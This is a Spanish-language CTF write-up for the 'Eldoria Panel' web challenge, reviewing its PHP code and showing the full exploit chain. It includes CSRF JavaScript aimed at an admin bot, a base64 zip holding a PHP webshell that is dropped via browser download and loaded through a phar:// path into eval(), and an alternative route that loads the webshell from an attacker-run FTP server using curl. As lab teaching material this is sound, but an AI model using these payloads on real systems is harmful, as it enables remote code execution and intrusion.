Eldoria Panel - Medium
Revisiรณn de cรณdigo:
Vamos a la siguiente categorรญa de dificultad, pero que no os engaรฑe la palabra medium porque son retos desafiantes.

A simple vista vemos que es una aplicaciรณn en php, pero vamos a ver el DockerFile donde nos damos cuenta de que es una aplicaciรณn php
tambiรฉn utiliza Chromium
y que la flag se guarda en /flag.txt

Procedemos a revisar el entrypoint.sh
que se ejecuta en el docker al levantar el contenedor, en el que vemos que se cambia el nombre de la flag a flag<caracteres random>.txt
lo cual nos hace pensar que necesitamos RCE para poder leer la flag al no saber el nombre del archivo.

Ahora procederemos a ver el cรณdigo de la aplicaciรณn web, una cosa que me llamo la atenciรณn es el script run_bot.py
asรญ que vamos a revisar que hace dicho script. Mirando el cรณdigo del script nos damos cuenta que es un script que recibe una url como argumento hace unas consultas a la base de datos para sacar el usuario y contraseรฑa del admin, inicia sesiรณn en la aplicacion y abre el enlace pasado por argumento.


Una vez visto el bot vamos a ver en que parte del cรณdigo se llama a ese script, y vemos que en el archivo routes.php
en el endpoint /api/claimQuest
se le pasa la url por un filtro y luego se la pasa para que la ejecute el script en Python y la visite.

Tambiรฉn en este mismo archivos nos damos cuanta de una funciรณn muy curiosa llamada render()
que se ocupa de renderizar los php de la web comprobando que existen en el sistema y ejecutรกndolos en una instrucciรณn eval()

Y por รบltimo vemos que el admin tiene un endpoint para cambiar la variable global templatesPath
que es la misma que utilizan las rutas estรกticas que se cargan por la funcion de render()
, lo cual cambiarla podrรญa hacernos controlar que archivos de php que se renderizan lo que puede ser algo muy peligroso.

Explotaciรณn:
Teniendo todo lo de la revisiรณn del cรณdigo en mente, tenemos claro que nuestro objetivo es poder cambiar la templatesPath para poder cargar los .php desde el directorio que nosotros digamos. Asรญ que nos logeamos y vemos un botรณn en el menรบ de arriba de la pรกgina donde nos pone claim quest le damos clic y vemos que es un formulario que nos deja hacer la solicitud al endpoint que le pasa la url al bot de python.

Podemos probar localmente para ver si el bot visita nuestra url y vemos que si la visita.

Sabiendo esto, vamos a hacer un index.html para quรฉ aceda el bot y poder cambiar el TemplatePath
haciendo una peticiรณn en su nombre
<script>
fetch("http://127.0.0.1:9000/api/admin/appSettings", {method: "POST", body: '{"template_path":"/tmp"}', credentials: "include"});
</script>
Hacemos que el bot visite nuestra url, y si hacemos un .dump a la base de datos en el docker y podemos ver que ha cambiado, primero necesitamos actualizar y instalar sqlite apt update -y;apt install sqlite3 -y

Ahora si vamos a la web podemos ver que no funciona al cambiar la Template Path
.

Pasa esto porque como vimos en el cรณdigo la funciรณn render carga los archivos php desde el TemplatePath
de la base de datos al ser ahora /tmp donde no estรกn los phps da error.

Sabiendo esto, necesitamos poner alguna ruta que tenga un login.php con el cรณdigo que nosotros le demos para que se ejecute, por ejemplo si ahora en /tmp
y ponemos un login.php
la funciรณn render lo cargara y lo ejecutara desde la ruta /tmp/login.php


Sabiendo esto necesitamos meter un archivo llamado login.php
en alguna ruta del sistema para ponerla en el TemplatePath
y la rendericรฉ. Pensando mucho nos damos cuenta de que podemos hacer que el bot descargue nuestro archivo php, asรญ que vamos a mandar la url de descarga al bot de nuestro index.html login.php
para ver en que directorio se descarga.
<script>
function downloadFile(content, filename) {
const blob = new Blob([content], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const link = document.createElement('a');
link.href = url;
link.download = filename;
link.click();
URL.revokeObjectURL(url);
}
downloadFile('<?=`$_GET[_]`?>', 'register.php');
</script>
Al final nos damos cuanta que se descarga en el directorio /var/www/Downloads
pero con la extensiรณn .crdownload
aรฑadida, pero el contenido del fichero estรก intacto. Sabiendo esto nos damos cuenta de que en el template path podemos utilizar wrappers porque la funciรณn render utiliza file_get_contents()
, asรญ que probando y probando me di cuenta de que el wrapper phar://
me deja descomprimir archivos, asรญ que podemos enviar un zip poner el path del zip.crdownload
y que se aรฑada el /login.php
de la ruta del php y ejecute el logn.php dentro del zip.

La extensiรณn .crdownload se ocasiona por la protecciรณn que tiene chorme para descargar archivos de esta manera.


Como podemos ver el archivo se lee perfectamente y se pasara a la funciรณn eval()
, con esto podemos hacer una poc en el index.html
para que descargue nuestro zip
con nuestro login.php
webshell comprimido dentro, y luego cambiar el TemplatePath
por el payload con el wrapper phar://
pra que se le aรฑada el /login.php
.
Para ello vamos a sacar la cadena de base64 del zip:
base64 -w0 login.zip.crdownload
Y leugo lo pegamos en el payalod modificado apra que lo descargue y cambie el PathTemplate
:
<script>
document.addEventListener("DOMContentLoaded", function() {
(function() {
const zipinbase64 = 'UEsDBAoAAAAAAO6Of1qTlIdQEAAAABAAAAAJABwAbG9naW4ucGhwVVQJAAPvuupnL7vqZ3V4CwABBOkDAAAE6QMAADw/PWAkX0dFVFtfXWA/PgpQSwECHgMKAAAAAADujn9ak5SHUBAAAAAQAAAACQAYAAAAAAABAAAAtIEAAAAAbG9naW4ucGhwVVQFAAPvuupndXgLAAEE6QMAAATpAwAAUEsFBgAAAAABAAEATwAAAFMAAAAAAA==';
const binaryData = atob(zipinbase64);
const byteArray = new Uint8Array(binaryData.length);
for (let i = 0; i < binaryData.length; i++) {
byteArray[i] = binaryData.charCodeAt(i);
}
const blob = new Blob([byteArray], { type: 'application/zip' });
const fileUrl = URL.createObjectURL(blob);
const link = document.createElement('a');
link.href = fileUrl;
link.download = 'login.zip';
link.style.display = 'none';
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
URL.revokeObjectURL(fileUrl);
})();
});
fetch("http://127.0.0.1:9000/api/admin/appSettings", {method: "POST", body: '{"template_path":"phar:///var/www/Downloads/login.zip.crdownload"}', credentials: "include"});
</script>
Hacemos que el bot visite el index.html y comprobamos que se haya descargado bien el zip, y se haya cambiado el TemplatePath.


Ahora cuando abramos el endpoint / del reto la funciรณn file_get_contents()
deberรญa leer phar:///var/www/Downloads/login.zip.crdownload/login.php
y pasar el contenido al eval()
para que se ejecute:

Vemos que la webshell se ha ejecutado y ya podemos leer la flag tranquilamente :)

Vuln Extra:
Revisando el cรณdigo nos damos cuenta de algo sorprendente, el endpoint /api/admin/appSettings
no contiene ninguna verificaciรณn para saber si eres admin o no, lo que provoca que cualquiera con la peticiรณn post pueda cambiar el valor del TemplatePath
sin necesidad de abusar del bot.



Camino alternativo:
Ya que podemos abusar de wrappers en al funciรณn file_get_contents()
podemos usar el wrapper ftp://
con usuario y contraseรฑa para que cargue el login.php
desde nuestro servidor, esto serรญa vรกlido y http://
no porque la funciรณn render()
comprueba si el archivo existe o no.

Levantamos un docker con ftp, y abrimos otra consola para meter el login.php:
// Docker
sudo docker run --rm -it \
--name ftp-server \
-p 21:21 -p 30000-30009:30000-30009 \
-e "PUBLICHOST=localhost" \
-e "FTP_USER_NAME=ftpuser" \
-e "FTP_USER_PASS=ftppassword" \
-e "FTP_USER_HOME=/home/ftpusers" \
stilliard/pure-ftpd:latest
// Consola Docker
sudo docker exec -it ftp-server /bin/bash
// Meter el contenido al login.php
echo '<?=`$_GET[_]`?>' > /home/ftpusers/login.php
Ahora hacemos el curl a el endpoint para cambiar el TemplatePath por nuestro servidor ftp con nuestro login.php:
curl -X POST 'http://172.17.0.1:1337/api/admin/appSettings' \
-X POST -H 'Content-Type: application/json' \
-d '{"template_path": "ftp://ftpuser:ftppassword@<Tu_ip_a_la_que_pueda_acceder_la_instancia_del_reto>"}'
Ahora cuando carguemos / en al web cargara nuestro login.php con la wbeshell y pwned :)

AutoPwn:
--PWNED--
Last updated